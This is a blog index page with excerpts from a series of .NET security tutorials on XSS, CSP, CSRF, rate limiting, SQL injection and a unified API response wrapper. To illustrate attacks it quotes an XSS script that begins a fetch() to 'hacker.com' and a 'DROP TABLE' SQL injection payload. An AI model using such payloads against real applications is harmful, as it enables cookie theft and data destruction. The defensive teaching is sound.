Posts

🔐 Security in .NET: Preventing XSS (Cross-Site Scripting)

Modern web applications must treat user input as untrusted . One of the most common vulnerabilities developers face is XSS (Cross-Site Scripting) . If not handled properly, attackers can inject malicious JavaScript into your application to: Steal session cookies Impersonate users Modify UI content Execute unauthorized actions Redirect users to malicious websites In this article, we will explore: ✔ What XSS is ✔ Why Regex-based protection fails ✔ Professional solution using HtmlSanitizer in .NET ✔ Automatic protection using JsonConverter 1️⃣ What is XSS (Cross-Site Scripting)? XSS (Cross-Site Scripting) is a security vulnerability where attackers inject malicious scripts into webpages or APIs. These scripts execute in the browser of other users without their knowledge. The Attack Example Imagine a Product API where users submit a product description. Normal Input A nice blue shirt. Malicious Input <script> fetch('https://hacker.com/...

🛡️ Security in .NET: Content Security Policy (CSP)

While input sanitization protects your database, Content Security Policy (CSP) acts as your application's "Bodyguard" in the browser. Even if a malicious script bypasses validation filters, CSP instructs the browser: Do not execute this script. In this guide, we implement a production-ready Security Middleware that includes: Content Security Policy (CSP) HTTP Strict Transport Security (HSTS) Cross-Origin Isolation headers Swagger compatibility 1️⃣ Why CSP is Mandatory Modern XSS attacks are highly sophisticated. Attackers may attempt to: Inject malicious inline <script> tags Load malicious JavaScript from external domains Execute dynamic code using eval() Inject scripts through compromised third-party libraries A Content Security Policy is an HTTP response header that tells browsers which resources are trusted and allowed to execute. By blocking inline scripts and restricting resource origins, CSP significantly reduces the...

🏗️ Consistent API Architecture: The Unified Response & Exception Wrapper

In a professional API, consistency is one of the most valuable architectural principles. If your frontend has to handle different JSON structures for each endpoint — and different formats for errors — your codebase quickly becomes difficult to maintain and error-prone. By implementing a Unified Response Wrapper , we ensure every request follows a predictable response structure — whether the result is: 200 OK 400 Bad Request 404 Not Found 500 Internal Server Error All responses are wrapped inside a standardized JSON "Envelope Pattern" . 📜 Standardized Response Contract Every response from the API follows a strict JSON schema. ✅ Success Response { "success": true, "traceId": "0HMNK92L8S1A", "data": { "id": 1, "name": "Blue Shirt" } } ❌ Error Response { "success": false, "traceId": "0HMNK92L8S1A", "error": { ...

🛡️ Security in .NET: Preventing CSRF (Cross-Site Request Forgery)

Imagine a user is logged into your application. They open a malicious "cat video" website in another tab. That website contains a hidden form which silently sends a POST request to your API: POST /api/account/delete Because the user is authenticated, their browser automatically includes the session cookie. Your API receives a valid request from an authenticated user and executes it. The user never intended this action. This is called Cross-Site Request Forgery (CSRF) . 1️⃣ The Defense: Anti-Forgery Tokens The most widely used protection mechanism is the Synchronizer Token Pattern . The idea is simple: The server generates a unique secret token. The token is sent to the client. The client must include the token in every state-changing request. The server validates the token before processing the request. Since a malicious website cannot read tokens from another domain, forged requests fail validation. 2️⃣ Professional Implemen...

🛡️ Security in .NET: Preventing DoS with Rate Limiting

Even the most secure API is useless if it’s offline. A Denial of Service (DoS) attack occurs when an attacker floods your API with thousands of requests per second, exhausting your server's CPU and Memory. In .NET 8, we can prevent this by implementing Rate Limiting—a strategy that restricts how many requests a specific user or IP address can make within a given timeframe. 1️⃣ The "Fixed Window" Strategy The most common approach is the Fixed Window. Imagine a 60-second window: A user is allowed 50 requests. If they hit request #51 at 59 seconds, they are blocked. At 60 seconds, the counter resets to zero. This ensures that no single client can monopolize your server's resources. 2️⃣ Implementation in .NET 8 We configure the Rate Limiter in Program.cs . In this example, we partition the limits by the User's IP Address so that one "bad actor" doesn't block legitimate users. using System.Threading.RateLimiting; using Microsoft.As...

🛡️ Security in .NET: Preventing SQL Injection

SQL Injection occurs when user input is treated as executable SQL code . Instead of being interpreted as simple data, malicious input alters the structure of the SQL command itself. ⚠️ Example of a SQL Injection Attack Consider the following vulnerable code: var query = "SELECT * FROM Users WHERE Id = " + userInput; An attacker could provide input such as: 1; DROP TABLE Products; The resulting SQL command becomes: SELECT * FROM Users WHERE Id = 1; DROP TABLE Products; Instead of retrieving a user record, the database executes two commands: Fetch user data Delete the entire Products table This is SQL Injection. 1️⃣ The Golden Rule: Parameterization The only reliable defense against SQL Injection is parameterization . Parameterized queries separate: SQL logic (command structure) user input (data values) When parameters are used, the database treats input strictly as literal values — never as executable SQL code. 2️⃣ ...

🛡️ Security in .NET: Defeating SQL Injection

If XSS is an attack on your users, SQL Injection (SQLi) is an attack on your core data . SQL Injection occurs when an attacker tricks your database into executing unintended commands by injecting SQL syntax into input fields. In this final chapter of our security series, we ensure the data layer remains fully protected . 1️⃣ The Golden Rule of Database Security The only truly reliable defense against SQL Injection is Parameterization . Parameterized queries clearly separate: SQL Command Structure User Input Data The database engine treats parameters strictly as values — never as executable SQL. Even if an attacker enters malicious input such as: DROP TABLE Users it will be stored as text instead of executed. 2️⃣ EF Core: The Common "Interpolation Trap" Many developers assume EF Core automatically prevents SQL Injection in all scenarios. While LINQ queries are safe by default, misuse of Raw SQL methods can reintroduce vulnerabilities...